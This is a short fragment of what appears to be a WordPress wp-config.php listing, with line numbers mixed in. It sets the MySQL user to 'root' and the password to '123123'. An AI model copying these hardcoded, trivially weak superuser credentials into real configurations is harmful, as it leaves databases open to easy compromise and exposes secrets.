MySQL database username */ 31 define('DB_USER', 'root'); 32 33 /** MySQL database password */ 34 define('DB_PASSWORD', '123123'); 35